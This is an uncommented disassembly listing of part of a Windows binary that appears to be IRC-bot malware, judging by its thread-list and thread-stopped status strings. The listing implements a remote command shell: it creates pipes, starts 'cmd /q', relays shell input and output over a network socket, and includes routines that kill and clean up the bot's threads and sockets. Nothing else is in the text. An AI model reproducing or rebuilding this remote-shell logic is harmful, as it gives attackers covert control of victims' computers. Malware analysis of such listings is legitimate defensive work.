		jz	short loc_414B20
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42EFC0
		call	sub_40A627
		pop	ecx
		pop	ecx
		jmp	short loc_414B4F
; ---------------------------------------------------------------------------


loc_414B20:				; CODE XREF: sub_414A34+D5j
		mov	edi, ds:dword_422150
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_414B4F
; ---------------------------------------------------------------------------


loc_414B34:				; CODE XREF: sub_414A34+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_414B3E
; ---------------------------------------------------------------------------


loc_414B3A:				; CODE XREF: sub_414A34+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_414B3E:				; CODE XREF: sub_414A34+104j
		call	ds:dword_422150	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_422158	; TerminateProcess


loc_414B4F:				; CODE XREF: sub_414A34+EAj
					; sub_414A34+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:off_422074
		call	edi ; sub_4DB3D5
		push	dword ptr [esi+14h]
		call	edi ; sub_4DB3D5
		push	dword ptr [esi+8]
		call	edi ; sub_4DB3D5
		push	dword ptr [esi]
		call	edi ; sub_4DB3D5
		push	dword ptr [esi+4]
		call	edi ; sub_4DB3D5
		push	dword ptr [esi+0Ch]
		call	ds:dword_436500	; closesocket
		push	esi
		call	sub_415DE1
		pop	ecx
		push	1
		pop	eax


loc_414B80:				; CODE XREF: sub_414A34+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B85	proc near		; CODE XREF: sub_414A34+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_414C6F
		mov	ebx, ds:dword_422120
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:off_422074
		test	eax, eax
		jnz	short loc_414BE8
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F0E4
		jmp	short loc_414C08
; ---------------------------------------------------------------------------


loc_414BE8:				; CODE XREF: sub_414B85+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_414C10
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F094


loc_414C08:				; CODE XREF: sub_414B85+61j
		call	sub_40A627
		pop	ecx
		jmp	short loc_414C3E
; ---------------------------------------------------------------------------


loc_414C10:				; CODE XREF: sub_414B85+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_414C7E
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi ; sub_4DB3D5
		push	[ebp+var_8]
		call	edi ; sub_4DB3D5
		cmp	dword ptr [esi+8], 0
		jnz	short loc_414C73
		push	offset dword_42F05C
		call	sub_40A5B3


loc_414C3E:				; CODE XREF: sub_414B85+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_414C4A
		push	[ebp+var_4]
		call	edi ; sub_4DB3D5


loc_414C4A:				; CODE XREF: sub_414B85+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_414C55
		push	[ebp+var_8]
		call	edi ; sub_4DB3D5


loc_414C55:				; CODE XREF: sub_414B85+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414C5E
		push	eax
		call	edi ; sub_4DB3D5


loc_414C5E:				; CODE XREF: sub_414B85+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414C68
		push	eax
		call	edi ; sub_4DB3D5


loc_414C68:				; CODE XREF: sub_414B85+DEj
		push	esi
		call	sub_415DE1
		pop	ecx


loc_414C6F:				; CODE XREF: sub_414B85+1Dj
		xor	eax, eax
		jmp	short loc_414C79
; ---------------------------------------------------------------------------


loc_414C73:				; CODE XREF: sub_414B85+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_414C79:				; CODE XREF: sub_414B85+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C7E	proc near		; CODE XREF: sub_414B85+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_415500
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415500
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, ds:dword_42211C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_422118	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_422104	; CreateProcessA
		test	eax, eax
		jz	short loc_414D3A
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	ds:dword_43BEC8[eax], ecx
		call	ds:off_422074
		jmp	short loc_414D50
; ---------------------------------------------------------------------------


loc_414D3A:				; CODE XREF: sub_414C7E+9Aj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F134
		call	sub_40A627
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_414D50:				; CODE XREF: sub_414C7E+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414C7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D57	proc near		; DATA XREF: sub_414A34+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:off_422098
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_414D80:				; CODE XREF: sub_414D57+8Fj
		call	ebx ; sub_4DB3FC
		test	eax, eax
		jz	short loc_414DE8
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_414DBB


loc_414D91:				; CODE XREF: sub_414D57+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_414DAB
		cmp	dl, 0Dh
		jz	short loc_414DAB
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_414DAB:				; CODE XREF: sub_414D57+44j
					; sub_414D57+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_414D91


loc_414DBB:				; CODE XREF: sub_414D57+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4364B8	; send
		test	eax, eax
		jle	short loc_414DE8
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_414D80
; ---------------------------------------------------------------------------


loc_414DE8:				; CODE XREF: sub_414D57+2Dj
					; sub_414D57+79j
		mov	esi, ds:dword_42206C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_414E04
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42F180
		call	sub_40A627
		pop	ecx
		pop	ecx


loc_414E04:				; CODE XREF: sub_414D57+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E09	proc near		; DATA XREF: sub_414A34+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_414E22:				; CODE XREF: sub_414E09+39j
					; sub_414E09+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_436480	; recv
		test	eax, eax
		jle	loc_414F27
		cmp	[ebp+var_10], ebx
		jbe	short loc_414E44
		dec	[ebp+var_10]
		jmp	short loc_414E22
; ---------------------------------------------------------------------------


loc_414E44:				; CODE XREF: sub_414E09+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_414F07
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_414EB4
		cmp	al, 7Fh
		jz	short loc_414EB4
		cmp	al, 3
		jnz	short loc_414E6F
		push	ebx
		push	ebx
		call	ds:dword_42216C	; GenerateConsoleCtrlEvent
		jmp	short loc_414EDB
; ---------------------------------------------------------------------------


loc_414E6F:				; CODE XREF: sub_414E09+5Aj
		cmp	al, 15h
		jnz	short loc_414E91
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_414EC7
; ---------------------------------------------------------------------------


loc_414E91:				; CODE XREF: sub_414E09+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_414EC8
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_414EC7
; ---------------------------------------------------------------------------


loc_414EB4:				; CODE XREF: sub_414E09+52j
					; sub_414E09+56j
		cmp	esi, ebx
		jbe	short loc_414EDE
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_414EC7:				; CODE XREF: sub_414E09+86j
					; sub_414E09+A9j
		pop	ecx


loc_414EC8:				; CODE XREF: sub_414E09+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4364B8	; send
		test	eax, eax
		jle	short loc_414F27


loc_414EDB:				; CODE XREF: sub_414E09+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_414EDE:				; CODE XREF: sub_414E09+ADj
		cmp	al, 0Dh
		jnz	loc_414E22
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_4220B0	; WriteFile
		test	eax, eax
		jz	short loc_414F27
		xor	esi, esi
		jmp	loc_414E22
; ---------------------------------------------------------------------------


loc_414F07:				; CODE XREF: sub_414E09+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_414F18
		mov	[ebp+var_C], 1
		jmp	loc_414E22
; ---------------------------------------------------------------------------


loc_414F18:				; CODE XREF: sub_414E09+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_414E22
; ---------------------------------------------------------------------------


loc_414F27:				; CODE XREF: sub_414E09+2Bj
					; sub_414E09+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414E09	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F2C	proc near		; CODE XREF: sub_404716+227p
					; sub_405898+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43BCC0


loc_414F34:				; CODE XREF: sub_414F2C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414F48
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4C8CC0
		jl	short loc_414F34
		jmp	short loc_414F93
; ---------------------------------------------------------------------------


loc_414F48:				; CODE XREF: sub_414F2C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43BCC0[esi]
		push	eax
		call	sub_416D30
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_43BEC0[esi], eax
		and	ds:dword_43BEC4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_43BEC8[esi], 0
		mov	ds:dword_43BECC[esi], eax
		and	ds:byte_43BED8[esi], 0
		pop	esi


loc_414F93:				; CODE XREF: sub_414F2C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F97	proc near		; DATA XREF: sub_40D2E0+5C01o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_414FE9
		push	[ebp+var_14]
		call	sub_415248
		add	esp, 14h
		push	0
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_414F97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FE9	proc near		; CODE XREF: sub_414F97+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43BCC0


loc_415013:				; CODE XREF: sub_414FE9+78j
		cmp	byte ptr [esi],	0
		jz	short loc_415054
		cmp	[ebp+arg_C], 0
		jnz	short loc_415027
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_415054


loc_415027:				; CODE XREF: sub_414FE9+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 24h


loc_415054:				; CODE XREF: sub_414FE9+2Dj
					; sub_414FE9+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C8CC0
		jl	short loc_415013
		pop	edi
		pop	esi
		leave
		retn
sub_414FE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415067	proc near		; CODE XREF: sub_40D2E0+4DD9p
					; sub_4150F5+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_4150EF
		cmp	esi, 400h
		jge	short loc_4150EF
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_43BED4[esi]
		lea	edi, dword_43BED4[esi]
		call	ds:dword_422150	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_41509F
		push	1
		pop	ebp


loc_41509F:				; CODE XREF: sub_415067+33j
		mov	[edi], ebx
		lea	edi, dword_43BEC8[esi]
		mov	ds:dword_43BEC0[esi], ebx
		mov	ds:dword_43BEC4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4150C0
		push	eax
		call	sub_413887
		pop	ecx


loc_4150C0:				; CODE XREF: sub_415067+50j
		mov	[edi], ebx
		lea	edi, dword_43BECC[esi]
		mov	byte ptr ds:dword_43BCC0[esi], bl
		mov	ds:byte_43BED8[esi], bl
		push	dword ptr [edi]
		call	ds:dword_436500	; closesocket
		lea	esi, dword_43BED0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		mov	[esi], ebx
		pop	edi


loc_4150EF:				; CODE XREF: sub_415067+Dj
					; sub_415067+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_415067	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150F5	proc near		; CODE XREF: sub_409288:loc_4092ACp
					; sub_40B9B9+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43BCC0


loc_415101:				; CODE XREF: sub_4150F5+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_415112
		push	edi
		call	sub_415067
		test	eax, eax
		pop	ecx
		jz	short loc_415112
		inc	ebx


loc_415112:				; CODE XREF: sub_4150F5+Fj
					; sub_4150F5+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C8CC0
		jl	short loc_415101
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4150F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415127	proc near		; CODE XREF: sub_40D2E0+1E3Dp
					; sub_40D2E0+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43BEC4


loc_41513B:				; CODE XREF: sub_415127+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41515D
		test	edi, edi
		jle	short loc_41514F
		cmp	[esi], edi
		jz	short loc_41514F
		cmp	ebx, edi
		jnz	short loc_41515D


loc_41514F:				; CODE XREF: sub_415127+1Ej
					; sub_415127+22j
		push	ebx
		call	sub_415067
		test	eax, eax
		pop	ecx
		jz	short loc_41515D
		inc	[ebp+var_4]


loc_41515D:				; CODE XREF: sub_415127+1Aj
					; sub_415127+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4C8EC4
		jl	short loc_41513B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415127	endp


; =============== S U B	R O U T	I N E =======================================



sub_415174	proc near		; CODE XREF: sub_405821+Bp
					; sub_405898+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43BEC0


loc_41517B:				; CODE XREF: sub_415174+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_415184
		inc	eax


loc_415184:				; CODE XREF: sub_415174+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4C8EC0
		jl	short loc_41517B
		retn
sub_415174	endp


; =============== S U B	R O U T	I N E =======================================



sub_415193	proc near		; CODE XREF: sub_40D2E0+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43BEC0


loc_41519D:				; CODE XREF: sub_415193+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4151B6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4C8EC0
		jl	short loc_41519D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4151B6:				; CODE XREF: sub_415193+10j
		mov	eax, edx
		pop	esi
		retn
sub_415193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151BA	proc near		; CODE XREF: sub_40D2E0+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4151D3
		push	[ebp+arg_1C]
		call	sub_4159EF
		pop	ecx


loc_4151D3:				; CODE XREF: sub_4151BA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_415127
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4151FF
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_415480
		add	esp, 14h
		jmp	short loc_415219
; ---------------------------------------------------------------------------


loc_4151FF:				; CODE XREF: sub_4151BA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_415480
		add	esp, 10h


loc_415219:				; CODE XREF: sub_4151BA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_415239
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_415239:				; CODE XREF: sub_4151BA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40A5B3
		pop	ecx
		leave
		retn
sub_4151BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_415248	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_43BED4[eax], ecx
		mov	ds:dword_43BEC0[eax], ecx
		mov	ds:dword_43BEC4[eax], ecx
		mov	ds:dword_43BEC8[eax], ecx
		mov	ds:dword_43BECC[eax], ecx
		mov	ds:dword_43BED0[eax], ecx
		mov	byte ptr ds:dword_43BCC0[eax], cl
		mov	ds:byte_43BED8[eax], cl
		retn
sub_415248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415285	proc near		; CODE XREF: sub_40D2E0+6189p
					; sub_4153B3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_41528F:				; CODE XREF: sub_415285+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_4152EF
		cmp	eax, 1
		jnz	short loc_4152EF
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_4152EF
		cmp	cl, 2Ah
		jz	short loc_4152D6
		cmp	cl, 3Fh
		jz	short loc_4152B9
		cmp	cl, 5Bh
		jz	short loc_4152BE
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4152B9:				; CODE XREF: sub_415285+26j
		inc	[ebp+arg_4]
		jmp	short loc_4152E9
; ---------------------------------------------------------------------------


loc_4152BE:				; CODE XREF: sub_415285+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41531B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4152E9
; ---------------------------------------------------------------------------


loc_4152D6:				; CODE XREF: sub_415285+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4153B3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_4152E9:				; CODE XREF: sub_415285+37j
					; sub_415285+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41528F
; ---------------------------------------------------------------------------


loc_4152EF:				; CODE XREF: sub_415285+Ej
					; sub_415285+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_4152FF
		cmp	eax, 1
		jnz	short loc_415316
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152EF
; ---------------------------------------------------------------------------


loc_4152FF:				; CODE XREF: sub_415285+6Dj
		cmp	eax, 1
		jnz	short loc_415316
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_415316
		cmp	byte ptr [esi],	0
		jnz	short loc_415316
		push	1
		pop	eax
		jmp	short loc_415318
; ---------------------------------------------------------------------------


loc_415316:				; CODE XREF: sub_415285+72j
					; sub_415285+7Dj ...
		xor	eax, eax


loc_415318:				; CODE XREF: sub_415285+8Fj
		pop	esi
		pop	ebp
		retn
sub_415285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41531B	proc near		; CODE XREF: sub_415285+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41533C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41533C:				; CODE XREF: sub_41531B+19j
		push	ebx
		push	esi


loc_41533E:				; CODE XREF: sub_41531B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41534C
		cmp	[ebp+var_4], eax
		jnz	short loc_415398


loc_41534C:				; CODE XREF: sub_41531B+2Aj
		test	edi, edi
		jnz	short loc_41538D
		cmp	bl, 2Dh
		jnz	short loc_415381
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_415381
		cmp	al, 5Dh
		jz	short loc_415381
		cmp	[ebp+var_4], edi
		jnz	short loc_415381
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41538D
		cmp	bl, al
		jg	short loc_41538D
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_41538D
; ---------------------------------------------------------------------------


loc_415381:				; CODE XREF: sub_41531B+38j
					; sub_41531B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41538D
		push	1
		pop	edi


loc_41538D:				; CODE XREF: sub_41531B+33j
					; sub_41531B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41533E
; ---------------------------------------------------------------------------


loc_415398:				; CODE XREF: sub_41531B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4153A5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4153A5:				; CODE XREF: sub_41531B+82j
		cmp	edi, eax
		jnz	short loc_4153AE
